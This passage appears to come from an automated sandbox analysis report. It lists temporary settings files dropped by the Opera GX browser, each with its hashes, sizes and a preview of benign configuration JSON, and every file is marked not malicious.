                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"adblocker":{"whitelist_initialized":true,"whitelist_version":6},"bookmarks":{"partners":{"participating_user":true}},"extensions":{"opsettings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13373282049039505","from_webstore":false,"granted_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"incognito_content_settings":[],"incognito_preferences":{},"is_pending_third_party_install":false,"last_update_time":"13373282049039505","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\2b7fda2d-571a-4a8e-b6ad-16fcd19e47e8.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1399)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1447
                                                                                                                                                                                                              Entropy (8bit):5.73753118329902
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:673FF7D366A1FBE397D6C9596249528D
                                                                                                                                                                                                              SHA1:20874A9ADBA6C823E3FB3D5E84B3E8C9B5C5007C
                                                                                                                                                                                                              SHA-256:FE68AC1AF76F49A700995646DC88708A81883175BBBD43A6B98688F50244837C
                                                                                                                                                                                                              SHA-512:2B5B7F036B5CA463D5452E959143B4D30BAE9D42427594AC1A85A071B4D3ACB06CBB567FD38B7D172F59A56464E3FBC92A09476D0D350A3D11AD896A326FA5F4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// cTb0eMi6snbJrPVUbSSOQ3dpOBjW+jByKub5Bz+Yyg8=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":2}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":2}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":2}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":2}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":2}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\3155e2f6-e304-4d2d-a2fe-0f5b3d580098.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (2881)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2929
                                                                                                                                                                                                              Entropy (8bit):4.881395425359552
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E4F8B3EA6BEBBE7497F48530CE3337F2
                                                                                                                                                                                                              SHA1:EF87A2D7639F815880AE69E050AF7659AA2CFEAD
                                                                                                                                                                                                              SHA-256:880743E2C8AC70638391C88146C36216E87D402B073A009069F2713B7BAEF390
                                                                                                                                                                                                              SHA-512:81CD586B8A88970C7550A80E0EC6618A8FC28FCA3432D3821AD146ECF6E9C7EAE556E47CAFAF27C1F58C474B871BF29EC6B89330C60B471DBE8B79B1CB57DE77
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// E/PodoiomFS3vrIWEymRom7lMN9c/4MBsgH95SKvT30=.{"ABTests":{"Tests":{"DNA-112027":"DNA-112027-gx-mission-widget-off","DNA-99214_GXCTest50":"GXCTest50-ref"}},"Features":{"RemotelyEnabled":["address-bar-dropdown-autocompleted-domains:disabled","address-bar-dropdown-unfiltered-full:disabled","amazon-new-ids","capital-one-cashback-protection","cashback-assistant","continue-on-booking","continue-on-shopping-via-amp:disabled","continue-shopping","continue-shopping-2","continue-shopping-5","continue-shopping-structured-partners","feature-remote-disable-updates-testing-flag:disabled","feature-remote-updates-testing-flag","game-servers:disabled","gx-post-mortem","gx-reactinator","gx-spotlight","gx-video-to-phone","lucid-mode-hide-text","panic-button","password-generator:disabled","play-again","realtime-impressions-reporting","run-at-startup-default","sd-suggestions-external","session-restore-attribution","side-profiles","sitecheck-age","tiktok-panel","ui-compositor-multithreaded"],"UserDecision

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\329e4089-47fa-4bac-8492-e8714a1dae75.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1341)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1389
                                                                                                                                                                                                              Entropy (8bit):5.755257006542865
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:289AA0D08EFF2FE5D8B5E27D35EA5976
                                                                                                                                                                                                              SHA1:C2279AD1292ADBD5F7238FC545325319EF83E572
                                                                                                                                                                                                              SHA-256:ABFBC38760AC071E05DF5FAC48BC64A65DB31B7B61CCCC6E01F7DA728BB64B0B
                                                                                                                                                                                                              SHA-512:4B5A5F6D2442A7180A0B044B208CFCB96E2674843DC3DE3F57F87310C1D063EF7CCEDDA001CE4D3B5CD0E547A1C0654D50BFE1D42FD4E69C2464B73CD1CDA085
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// 327PmRTLiUHJvO8jSR1sQMEcgnlHja2HTVan2H9+8F0=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":1}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":2}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":1}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":1}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":1}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":2}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":1}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\32f45f63-6f01-41d5-9205-ad1bd84e3668.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.7103666318513575
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:38021E36CC367BDA6C6B13D2CC31121D
                                                                                                                                                                                                              SHA1:43CD27F2D05D9A65D5D1F61D095F6291B9BEDA90
                                                                                                                                                                                                              SHA-256:DEEA0BC86C7A17CA17EF2403AECF2FCE92505611B8CFFE4B85F6670250358D97
                                                                                                                                                                                                              SHA-512:BFB013A3943872D973870A005291D82EA4194EDC3D041A986C2DC3BC0029B760A2D1F4A54229A71A0BCF21A4EE2AA252647A2F93C06EEC33B09D97404D6F7979
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// Q3FF7IjRzqzTBr6qHa0Yo2EesEIeeL5DtpUz0u03aGI=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":4}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":5}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":4}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":4}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":4}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":5}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":5}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":4}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\36860347-6d4f-4ea4-91af-deb77ab9626c.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.719101629195979
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:49814F4D86EB4FF76DBEA4B02080FFF0
                                                                                                                                                                                                              SHA1:13199CC66C9345EA605C987750DA075DB06647FE
                                                                                                                                                                                                              SHA-256:6BA6E5FF99E9C48AB259180B06C5046A6D94959BB5EE76CDD664B02358DB5D79
                                                                                                                                                                                                              SHA-512:2E0C343B1B7B3B358764BF06165F88341DF433AE89F4281F69DA3A5CD3B52F2DABCB47062C15BF710D49F9F383D3A9783B34A7FE5BD8B5257378792D0C757A73
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// ArxYRHD938lFQtD09TmxHxUFdU39dEXEHz3FCLgTG2s=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":4}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":4}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":4}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":4}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":4}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":4}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":4}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\3a020e58-e181-4435-a03c-ae7291dae0f9.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.70704414328057
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:FF9E531569E3AAAA31A68356CB5D63BB
                                                                                                                                                                                                              SHA1:4705B98B4E8A39F33C3DE97C753F5CCC865469E7
                                                                                                                                                                                                              SHA-256:EC62C722D8C6E6AB6A512590872D72FC16C3DFD55A7473C5A5B7CB572179ACE4
                                                                                                                                                                                                              SHA-512:C24CB6FD39E18B10B9E34F2AD356FF3E57746EA8A23EAED9C5DB0F39D40D895378225305C8BCF8F9FE2E1974F3F543C6A59813A333476C7DB032BF3E1E622C69
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// 7VIfFJuUmMn1vBcSpSaQzNjtu36tNhDrsZpiQGNyBic=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":4}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\3c60ff69-630a-459a-928d-40c6d5ed9896.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1133)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1181
                                                                                                                                                                                                              Entropy (8bit):5.723503721755693
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:1E86A491F622BD2AB0013BA3DBEA4F5D
                                                                                                                                                                                                              SHA1:A2E072F39C13108EF7022474D17D2A74CB847761
                                                                                                                                                                                                              SHA-256:A73B586E94599E3954A21BF0D0B80A665470535982F3D8B7A03C36F62F5ED1EC
                                                                                                                                                                                                              SHA-512:45FCBB6F6CCFBAA9362D85846E34FEF0BCE35AB03624E7B990D6D46DD06064A15DA4F9DB8AA6EEBAC83937B25B3E10F00C3BB97D81BA32C1C490D513AFEEFD86
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// 9eQGIh88XNCAbnVHWXUgrbamvYFqIx/z8KkhMutnaLg=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":1}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":1}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":1}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":1}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":1}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5LPYA/62dOiPE=":{"Impression":1}},"https://www.twitch.tv/":{"Q8R0Kod6c9/H+i1tROyMeJm8kyTeZvYyChUrZvAjliY=":{"Impression":1}},"https://www.youtube.com/":{"Vr5ejLjQcpErr31xahnJSlXskHfMqZIa1pEIRlhJ35w=":{"Impress

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\3f82ac0b-ad75-44d7-88ad-91ee25d06ccc.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.704143422525761
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C537B207CB6F98FAD458CF332829CA73
                                                                                                                                                                                                              SHA1:ABFA60882090C209D5E90535D27D6C7F02D1F441
                                                                                                                                                                                                              SHA-256:3E94E9E43A1A5C1386CB254BE5B6C86D911784C7CC2D8996BE39FE7829ADC3E6
                                                                                                                                                                                                              SHA-512:F91D314017D78FC6EAD9275471F16BE54F438FFA83C2C804A0F92F40D20486F88DBD160FA56BE757BCF7E315040FD615BD5DEC1D376814B737C65F6A1D0F1549
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// CH5/dyDtTc1A5r3hF1VOV8rmABmt9s+mwCTw4OiCrvs=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":4}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":4}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":4}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\43198fbf-5641-4421-8535-1958c0ced432.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (976)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1024
                                                                                                                                                                                                              Entropy (8bit):5.164945356731685
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CBCE8BB46AE54D76A624887E055B60D2
                                                                                                                                                                                                              SHA1:FDA26C2E559681ADC702B6E73C29E559473AF20B
                                                                                                                                                                                                              SHA-256:CB874CF386716B4F00746BB8F6085E5DD8EE68DEA75FFA858E417623C0E9DC3D
                                                                                                                                                                                                              SHA-512:60942637DDB754F5E0979A15172314A63B3B130E2C0799871CAC81F15275F9F719DFF4787FE64544D3C93A25E48DE080F8AC1AD4B9EDE42D97AA35F97CE68EC5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// idr+qhUFkBhIHKeOYJnTkea//FQ3aKlXfSkomZyjiUw=.{"ABTests":{"Tests":{"DNA-112027":"DNA-112027-gx-mission-widget-off","DNA-99214_GXCTest50":"GXCTest50-ref"}},"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"BrowserSidebar":{"Status":{"BookmarksPanel":{"IsDocked":false},"Discord":{"IsDocked":false},"FacebookMessenger":{"IsDocked":false},"GxBooster":{"IsDocked":false},"HistoryPanel":{"IsDocked":false},"Instagram":{"IsDocked":false},"IsDarkSkin":true,"IsVisible":true,"Limiters":{"IsDocked":false},"Player":{"IsDocked":false},"Telegram":{"IsDocked":false},"TikTok":{"IsDocked":false},"Twitter":{"IsDocked":false},"VKontakte":{"IsDocked":false},"Whatsapp":{"IsDocked":false}}},"TabAverageCount":2,"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}},"consent":{"statistics_collection_enabled":true,"user_experience_metrics_r

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\4442e2b7-1a71-4a1a-9e0a-d53dea0e262b.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3088
                                                                                                                                                                                                              Entropy (8bit):5.501862708114121
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F578DA5974BEA6B29306E9FAB8776B38
                                                                                                                                                                                                              SHA1:0F16607D1AFBD9C7CCE995ADFE567A3701C65B83
                                                                                                                                                                                                              SHA-256:ACA91F846E397B7291E0F5E44184517E751D76A38E963FF3D1C7C1D4627E1D56
                                                                                                                                                                                                              SHA-512:A2BD6C98D5EBC1F43D680FAAEF9B1E1072E17618FD49AD1B847768AD52B7CC29646EB1E79A54B266EEE274845DFA140EC17D9C62BB006DEE53A72ED7AAE2E998
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"ab_testing":{"uid":"MDg2YzBhYTItNDZlZi00YmY4LWJjYzYtNDJkOTE1M2IzMzk1"},"autofill":{"ablation_seed":"uBdDUBAoj8c="},"browser":{"remote_flags":"01979299c8cd,13e025f64bd6:disabled,13eeaf851da7,1ad69b007ce5,1c4dddb65bac,1d24dceb937a,278deecb29a1,2c1429a5a72e,3389f6c15eb9,40db6e644d2c:disabled,50796754ffc7,5448a57d6689:disabled,54726ed4401e,56d717ae3ad6,5a28d66c82cd,603cade21cf7,654296fe9d6c,818c3ef12d0b,8511df77ed15,88edd7903398,970fe421a344,9ec4e68ae70a:disabled,b2a2a32b832b,b7751444d14a,b9677b166709:disabled,c25d6d8d2719:disabled,c57119eb4723,c9a44eaecc11,cbc43aa3cfb6,d144067b33ec,d4b5093b464f,e2c9ffba8439,e7de6afa38c4,f17eaee53639,f3834d6657d8,f77fe4682650,fc82980101cd","remote_flags_char_requirements":{"818c3ef12d0b":{"forbidden":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"],"required":["64336fb81a04836eb8108d24fbca3aa3682db0a5"]}},"remote_flags_guid":"4a730dd9-027f-4e80-b7c8-4f65d87b88c5"},"browserjs":{"version":"1712230920"},"chars":{"list":[]},"component_updater":{"media_foundation

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\44d987a5-24f0-4f7e-bc27-97605a0d82d5.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):221
                                                                                                                                                                                                              Entropy (8bit):5.62997436477736
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3D30D77E7F0D6C6DEB31DC2771177BC9
                                                                                                                                                                                                              SHA1:0BEBF7A02333DF6E323E1C54FC1F51C94F271CE0
                                                                                                                                                                                                              SHA-256:AFBA0D9D2835652E10B37528A469621DADDBA227A84801A9BF66D9EE187729AB
                                                                                                                                                                                                              SHA-512:9F5D957378C08F5FB75FB567029EDD5B7A15845D0D244EE69F5109B50C80EFB1825049A92528AC5AD2566A8609E6917638018235D846066A004D409358E5E7C6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// AQ6q8XlrZYNAQ7AndNwKGzMowfmrzVvYLSg44J2dHFo=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1},"ScheduledTask":{"ScheduledTaskAlreadyRunning":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\453cd36a-0639-4e31-828c-73425b2fa1ee.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1341)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1389
                                                                                                                                                                                                              Entropy (8bit):5.759854381621369
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5B4AD7128BAC1A41A3375EC12C4A6D00
                                                                                                                                                                                                              SHA1:9903B58DE6C15D68DDFCEE594BD989CE07C2B49F
                                                                                                                                                                                                              SHA-256:868665C7B5A2E0A24C3A878F88E067DB7FFDFC71E4358894FEAE872656CBE12E
                                                                                                                                                                                                              SHA-512:90EF7CE81F7E114E6633ABEA32DD6ED2EEF9EB8242ABE5123E3059471027B9068D82075338CF0DFDFF1751802970A2CCE32C1077C4556F7940A6736678C12090
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
